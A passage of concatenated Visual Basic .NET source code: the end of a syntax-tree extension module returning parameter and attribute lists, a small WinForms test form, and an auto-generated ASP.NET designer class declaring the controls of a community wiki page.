Return DirectCast(declaration, PropertyStatementSyntax).ParameterList Case SyntaxKind.EventBlock Return DirectCast(declaration, EventBlockSyntax).EventStatement.ParameterList Case SyntaxKind.EventStatement Return DirectCast(declaration, EventStatementSyntax).ParameterList Case SyntaxKind.MultiLineFunctionLambdaExpression, SyntaxKind.MultiLineSubLambdaExpression Return DirectCast(declaration, MultiLineLambdaExpressionSyntax).SubOrFunctionHeader.ParameterList Case SyntaxKind.SingleLineFunctionLambdaExpression, SyntaxKind.SingleLineSubLambdaExpression Return DirectCast(declaration, SingleLineLambdaExpressionSyntax).SubOrFunctionHeader.ParameterList Case Else Return Nothing End Select End Function <Extension> Public Function GetAttributeLists(node As SyntaxNode) As SyntaxList(Of AttributeListSyntax) Select Case node.Kind Case SyntaxKind.CompilationUnit Return SyntaxFactory.List(DirectCast(node, CompilationUnitSyntax).Attributes.SelectMany(Function(s) s.AttributeLists)) Case SyntaxKind.ClassBlock Return DirectCast(node, ClassBlockSyntax).BlockStatement.AttributeLists Case SyntaxKind.ClassStatement Return DirectCast(node, ClassStatementSyntax).AttributeLists Case SyntaxKind.StructureBlock Return DirectCast(node, StructureBlockSyntax).BlockStatement.AttributeLists Case SyntaxKind.StructureStatement Return DirectCast(node, StructureStatementSyntax).AttributeLists Case SyntaxKind.InterfaceBlock Return DirectCast(node, InterfaceBlockSyntax).BlockStatement.AttributeLists Case SyntaxKind.InterfaceStatement Return DirectCast(node, InterfaceStatementSyntax).AttributeLists Case SyntaxKind.EnumBlock Return DirectCast(node, EnumBlockSyntax).EnumStatement.AttributeLists Case SyntaxKind.EnumStatement Return DirectCast(node, EnumStatementSyntax).AttributeLists Case SyntaxKind.EnumMemberDeclaration Return DirectCast(node, EnumMemberDeclarationSyntax).AttributeLists Case SyntaxKind.DelegateFunctionStatement, SyntaxKind.DelegateSubStatement Return DirectCast(node, DelegateStatementSyntax).AttributeLists Case SyntaxKind.FieldDeclaration Return DirectCast(node, FieldDeclarationSyntax).AttributeLists Case SyntaxKind.FunctionBlock, SyntaxKind.SubBlock, SyntaxKind.ConstructorBlock Return DirectCast(node, MethodBlockBaseSyntax).BlockStatement.AttributeLists Case SyntaxKind.FunctionStatement, SyntaxKind.SubStatement Return DirectCast(node, MethodStatementSyntax).AttributeLists Case SyntaxKind.SubNewStatement Return DirectCast(node, SubNewStatementSyntax).AttributeLists Case SyntaxKind.Parameter Return DirectCast(node, ParameterSyntax).AttributeLists Case SyntaxKind.PropertyBlock Return DirectCast(node, PropertyBlockSyntax).PropertyStatement.AttributeLists Case SyntaxKind.PropertyStatement Return DirectCast(node, PropertyStatementSyntax).AttributeLists Case SyntaxKind.OperatorBlock Return DirectCast(node, OperatorBlockSyntax).BlockStatement.AttributeLists Case SyntaxKind.OperatorStatement Return DirectCast(node, OperatorStatementSyntax).AttributeLists Case SyntaxKind.EventBlock Return DirectCast(node, EventBlockSyntax).EventStatement.AttributeLists Case SyntaxKind.EventStatement Return DirectCast(node, EventStatementSyntax).AttributeLists Case SyntaxKind.GetAccessorBlock, SyntaxKind.SetAccessorBlock, SyntaxKind.AddHandlerAccessorBlock, SyntaxKind.RemoveHandlerAccessorBlock, SyntaxKind.RaiseEventAccessorBlock Return DirectCast(node, AccessorBlockSyntax).AccessorStatement.AttributeLists Case SyntaxKind.GetAccessorStatement, SyntaxKind.SetAccessorStatement, SyntaxKind.AddHandlerAccessorStatement, SyntaxKind.RemoveHandlerAccessorStatement, SyntaxKind.RaiseEventAccessorStatement Return DirectCast(node, AccessorStatementSyntax).AttributeLists Case Else Return Nothing End Select End Function End Module End Namespace
Public Class Form1 Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load RichTextBox1.SelectionAlignment = HorizontalAlignment.Center RichTextBox1.SelectedText = "this is a test" End Sub End Class
'------------------------------------------------------------------------------ ' <auto-generated> ' This code was generated by a tool. ' ' Changes to this file may cause incorrect behavior and will be lost if ' the code is regenerated. ' </auto-generated> '------------------------------------------------------------------------------ Option Strict On Option Explicit On Partial Public Class Wiki_Comunita '''<summary> '''CBX_SezVisEliminate control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents CBX_SezVisEliminate As Global.System.Web.UI.WebControls.CheckBox '''<summary> '''BTN_ModWiki control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents BTN_ModWiki As Global.System.Web.UI.WebControls.Button '''<summary> '''BTN_AddSezione control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents BTN_AddSezione As Global.System.Web.UI.WebControls.Button '''<summary> '''BTN_Torna control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents BTN_Torna As Global.System.Web.UI.WebControls.Button '''<summary> '''BTN_Addtopic control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents BTN_Addtopic As Global.System.Web.UI.WebControls.Button '''<summary> '''BTN_Import control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents BTN_Import As Global.System.Web.UI.WebControls.Button '''<summary> '''BTN_Home control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents BTN_Home As Global.System.Web.UI.WebControls.Button '''<summary> '''PNL_NoPermessi control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents PNL_NoPermessi As Global.System.Web.UI.WebControls.Panel '''<summary> '''LBL_NoPermessi control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents LBL_NoPermessi As Global.System.Web.UI.WebControls.Label '''<summary> '''PNL_InfoImport control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents PNL_InfoImport As Global.System.Web.UI.WebControls.Panel '''<summary> '''LBL_proce control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents LBL_proce As Global.System.Web.UI.WebControls.Label '''<summary> '''LBL_NomeSezione control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents LBL_NomeSezione As Global.System.Web.UI.WebControls.Label '''<summary> '''LBL_proce1 control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents LBL_proce1 As Global.System.Web.UI.WebControls.Label '''<summary> '''LBL_NomeComunita control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents LBL_NomeComunita As Global.System.Web.UI.WebControls.Label '''<summary> '''LBL_PassoUno control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents LBL_PassoUno As Global.System.Web.UI.WebControls.Label '''<summary> '''LBL_PassoDue control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents LBL_PassoDue As Global.System.Web.UI.WebControls.Label '''<summary> '''PNL_search control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents PNL_search As Global.System.Web.UI.WebControls.Panel '''<summary> '''LBL_ricerca control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents LBL_ricerca As Global.System.Web.UI.WebControls.Label '''<summary> '''DDL_ricerca control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents DDL_ricerca As Global.System.Web.UI.WebControls.DropDownList '''<summary> '''TXB_search control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents TXB_search As Global.System.Web.UI.WebControls.TextBox '''<summary> '''BTN_search control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents BTN_search As Global.System.Web.UI.WebControls.Button '''<summary> '''PNL_ListaComunita control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents PNL_ListaComunita As Global.System.Web.UI.WebControls.Panel '''<summary> '''CTRLcommunity control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents CTRLcommunity As Global.Comunita_OnLine.UC_SearchCommunityByService '''<summary> '''PNL_ViewImport control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents PNL_ViewImport As Global.System.Web.UI.WebControls.Panel '''<summary> '''DLS_topicsImport control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents DLS_topicsImport As Global.System.Web.UI.WebControls.DataList '''<summary> '''BTN_selTutti control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents BTN_selTutti As Global.System.Web.UI.WebControls.Button '''<summary> '''BTN_deselTutti control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents BTN_deselTutti As Global.System.Web.UI.WebControls.Button '''<summary> '''BTN_importa control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents BTN_importa As Global.System.Web.UI.WebControls.Button '''<summary> '''IMG_indietro control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents IMG_indietro As Global.System.Web.UI.WebControls.ImageButton '''<summary> '''IMG_avanti control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents IMG_avanti As Global.System.Web.UI.WebControls.ImageButton '''<summary> '''PNL_ViewTopic control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents PNL_ViewTopic As Global.System.Web.UI.WebControls.Panel '''<summary> '''LBL_TitoloTopicView control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents LBL_TitoloTopicView As Global.System.Web.UI.WebControls.Label '''<summary> '''LBL_autore control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents LBL_autore As Global.System.Web.UI.WebControls.Label '''<summary> '''LBL_date control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents LBL_date As Global.System.Web.UI.WebControls.Label '''<summary> '''LBL_TestView control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents LBL_TestView As Global.System.Web.UI.WebControls.Label '''<summary> '''BTN_EditView control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents BTN_EditView As Global.System.Web.UI.WebControls.Button '''<summary> '''PNL_NoWiki control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents PNL_NoWiki As Global.System.Web.UI.WebControls.Panel '''<summary> '''DIV_LBL_NoWiki control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents DIV_LBL_NoWiki As Global.System.Web.UI.HtmlControls.HtmlGenericControl '''<summary> '''LBL_NoWiki control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents LBL_NoWiki As Global.System.Web.UI.WebControls.Label '''<summary> '''PNL_NoWiki_Add control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents PNL_NoWiki_Add As Global.System.Web.UI.WebControls.Panel '''<summary> '''DIV_LBL_NoWikiADD control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents DIV_LBL_NoWikiADD As Global.System.Web.UI.HtmlControls.HtmlGenericControl '''<summary> '''LBL_NoWikiADD control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents LBL_NoWikiADD As Global.System.Web.UI.WebControls.Label '''<summary> '''LBL_WikiAdd_Nome_t control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents LBL_WikiAdd_Nome_t As Global.System.Web.UI.WebControls.Label '''<summary> '''TXB_WikiAdd_Nome control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents TXB_WikiAdd_Nome As Global.System.Web.UI.WebControls.TextBox '''<summary> '''DIVtest control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents DIVtest As Global.System.Web.UI.HtmlControls.HtmlGenericControl '''<summary> '''LBL_WikiAdd_showauthors control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents LBL_WikiAdd_showauthors As Global.System.Web.UI.WebControls.Label '''<summary> '''CHB_WikiAdd_showauthors control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents CHB_WikiAdd_showauthors As Global.System.Web.UI.WebControls.CheckBox '''<summary> '''BTN_AddWiki control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents BTN_AddWiki As Global.System.Web.UI.WebControls.Button '''<summary> '''Btn_AnnWiki control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents Btn_AnnWiki As Global.System.Web.UI.WebControls.Button '''<summary> '''PNL_Wiki control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents PNL_Wiki As Global.System.Web.UI.WebControls.Panel '''<summary> '''PNL_DeleteTopic control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents PNL_DeleteTopic As Global.System.Web.UI.WebControls.Panel '''<summary> '''UC_Message control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents UC_Message As Global.Comunita_OnLine.UC_ActionMessages '''<summary> '''DIV_deletetopic control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents DIV_deletetopic As Global.System.Web.UI.HtmlControls.HtmlGenericControl '''<summary> '''LBL_deletetopicmsg control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents LBL_deletetopicmsg As Global.System.Web.UI.WebControls.Label '''<summary> '''BTN_delete control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents BTN_delete As Global.System.Web.UI.WebControls.Button '''<summary> '''BTN_cancel control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents BTN_cancel As Global.System.Web.UI.WebControls.Button '''<summary> '''DIV_missinglinks control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents DIV_missinglinks As Global.System.Web.UI.HtmlControls.HtmlGenericControl '''<summary> '''BTN_keepedit control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents BTN_keepedit As Global.System.Web.UI.WebControls.Button '''<summary> '''BTN_backtolist control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents BTN_backtolist As Global.System.Web.UI.WebControls.Button '''<summary> '''PNL_InfoSezione control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents PNL_InfoSezione As Global.System.Web.UI.WebControls.Panel '''<summary> '''LBL_ElencoSezioneNome_t control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents LBL_ElencoSezioneNome_t As Global.System.Web.UI.WebControls.Label '''<summary> '''LBL_ElencoSezioneNome control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents LBL_ElencoSezioneNome As Global.System.Web.UI.WebControls.Label '''<summary> '''DIVdescription control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents DIVdescription As Global.System.Web.UI.HtmlControls.HtmlGenericControl '''<summary> '''LBL_ElencoSezioneDescrizione_t control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents LBL_ElencoSezioneDescrizione_t As Global.System.Web.UI.WebControls.Label '''<summary> '''DIVsectiondescription control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents DIVsectiondescription As Global.System.Web.UI.HtmlControls.HtmlGenericControl '''<summary> '''LBL_ElencoSezioneDescrizione control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents LBL_ElencoSezioneDescrizione As Global.System.Web.UI.WebControls.Label '''<summary> '''SPN_SectionAuthor control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents SPN_SectionAuthor As Global.System.Web.UI.HtmlControls.HtmlGenericControl '''<summary> '''LBL_ElencoSezionePersona_t control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents LBL_ElencoSezionePersona_t As Global.System.Web.UI.WebControls.Label '''<summary> '''LBL_ElencoSezionePersona control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents LBL_ElencoSezionePersona As Global.System.Web.UI.WebControls.Label '''<summary> '''LBL_SezioneElininata control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents LBL_SezioneElininata As Global.System.Web.UI.WebControls.Label '''<summary> '''BTN_ModSezione control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents BTN_ModSezione As Global.System.Web.UI.WebControls.Button '''<summary> '''BTN_DelSezione control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents BTN_DelSezione As Global.System.Web.UI.WebControls.Button '''<summary> '''BTN_RecSezione control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents BTN_RecSezione As Global.System.Web.UI.WebControls.Button '''<summary> '''PNL_NavigatoreNoTopic control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents PNL_NavigatoreNoTopic As Global.System.Web.UI.WebControls.Panel '''<summary> '''LBL_Nav_NoSezione control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents LBL_Nav_NoSezione As Global.System.Web.UI.WebControls.Label '''<summary> '''PNL_Navigatore control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents PNL_Navigatore As Global.System.Web.UI.WebControls.Panel '''<summary> '''LBL_Navigatore_t control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents LBL_Navigatore_t As Global.System.Web.UI.WebControls.Label '''<summary> '''RPT_LinkNavigatore control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents RPT_LinkNavigatore As Global.System.Web.UI.WebControls.Repeater '''<summary> '''MLV_Contenuto control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents MLV_Contenuto As Global.System.Web.UI.WebControls.MultiView '''<summary> '''V_SezioneNo control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents V_SezioneNo As Global.System.Web.UI.WebControls.View '''<summary> '''LBL_Con_SezioneNO control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents LBL_Con_SezioneNO As Global.System.Web.UI.WebControls.Label '''<summary> '''V_SezioneAddMod control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents V_SezioneAddMod As Global.System.Web.UI.WebControls.View '''<summary> '''Lbl_NASezione_Nome_t control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents Lbl_NASezione_Nome_t As Global.System.Web.UI.WebControls.Label '''<summary> '''Txb_NASezione_Nome control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents Txb_NASezione_Nome As Global.System.Web.UI.WebControls.TextBox '''<summary> '''Lbl_NASezione_Descrizione_t control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents Lbl_NASezione_Descrizione_t As Global.System.Web.UI.WebControls.Label '''<summary> '''TXB_NASezione_Descrizione control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents TXB_NASezione_Descrizione As Global.System.Web.UI.WebControls.TextBox '''<summary> '''CTRLeditorDescription control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents CTRLeditorDescription As Global.Comunita_OnLine.UC_Editor '''<summary> '''CBX_NASezione_IsPubblica_t control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents CBX_NASezione_IsPubblica_t As Global.System.Web.UI.WebControls.CheckBox '''<summary> '''CBX_NASezione_IsDefault control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents CBX_NASezione_IsDefault As Global.System.Web.UI.WebControls.CheckBox '''<summary> '''BTN_Sezione_Salva control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents BTN_Sezione_Salva As Global.System.Web.UI.WebControls.Button '''<summary> '''BTN_Sezione_Annulla control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents BTN_Sezione_Annulla As Global.System.Web.UI.WebControls.Button '''<summary> '''V_TopicNo control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents V_TopicNo As Global.System.Web.UI.WebControls.View '''<summary> '''LBL_Test_titolo control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents LBL_Test_titolo As Global.System.Web.UI.WebControls.Label '''<summary> '''LBL_test_testo control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents LBL_test_testo As Global.System.Web.UI.WebControls.Label '''<summary> '''V_TopicElenco control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents V_TopicElenco As Global.System.Web.UI.WebControls.View '''<summary> '''DLS_topics control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents DLS_topics As Global.System.Web.UI.WebControls.DataList '''<summary> '''V_TopicAddMod control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents V_TopicAddMod As Global.System.Web.UI.WebControls.View '''<summary> '''LBL_ModTopic_Titolo_t control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents LBL_ModTopic_Titolo_t As Global.System.Web.UI.WebControls.Label '''<summary> '''TXB_TitoloTopic control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents TXB_TitoloTopic As Global.System.Web.UI.WebControls.TextBox '''<summary> '''CBX_Topic_IsPubblico control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents CBX_Topic_IsPubblico As Global.System.Web.UI.WebControls.CheckBox '''<summary> '''CTRLeditor control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents CTRLeditor As Global.Comunita_OnLine.UC_Editor '''<summary> '''BTNSaveQuit control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents BTNSaveQuit As Global.System.Web.UI.WebControls.Button '''<summary> '''BTNSaveContinua control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents BTNSaveContinua As Global.System.Web.UI.WebControls.Button '''<summary> '''BTNAnnulla control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents BTNAnnulla As Global.System.Web.UI.WebControls.Button '''<summary> '''V_TopicCrono control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents V_TopicCrono As Global.System.Web.UI.WebControls.View '''<summary> '''DIV_Lbl_NoCronologia control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents DIV_Lbl_NoCronologia As Global.System.Web.UI.HtmlControls.HtmlGenericControl '''<summary> '''Lbl_NoCronologia control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents Lbl_NoCronologia As Global.System.Web.UI.WebControls.Label '''<summary> '''DL_TopicCrono control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents DL_TopicCrono As Global.System.Web.UI.WebControls.Repeater '''<summary> '''V_TopicShow control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents V_TopicShow As Global.System.Web.UI.WebControls.View '''<summary> '''V_TopicSearched control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents V_TopicSearched As Global.System.Web.UI.WebControls.View '''<summary> '''LBL_RisultatoRicerca control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents LBL_RisultatoRicerca As Global.System.Web.UI.WebControls.Label '''<summary> '''DLS_result control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents DLS_result As Global.System.Web.UI.WebControls.DataList '''<summary> '''V_TopicsImport control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents V_TopicsImport As Global.System.Web.UI.WebControls.View '''<summary> '''UPP_TakeSession control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents UPP_TakeSession As Global.System.Web.UI.UpdatePanel '''<summary> '''LBL_Ajax control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents LBL_Ajax As Global.System.Web.UI.WebControls.Label '''<summary> '''TMR_Session control. '''</summary> '''<remarks> '''Auto-generated field. '''To modify move field declaration from designer file to code-behind file. '''</remarks> Protected WithEvents TMR_Session As Global.System.Web.UI.Timer '''<summary> '''Master property. '''</summary> '''<remarks> '''Auto-generated property. '''</remarks> Public Shadows ReadOnly Property Master() As Comunita_OnLine.AjaxPortal Get Return CType(MyBase.Master, Comunita_OnLine.AjaxPortal) End Get End Property End Class
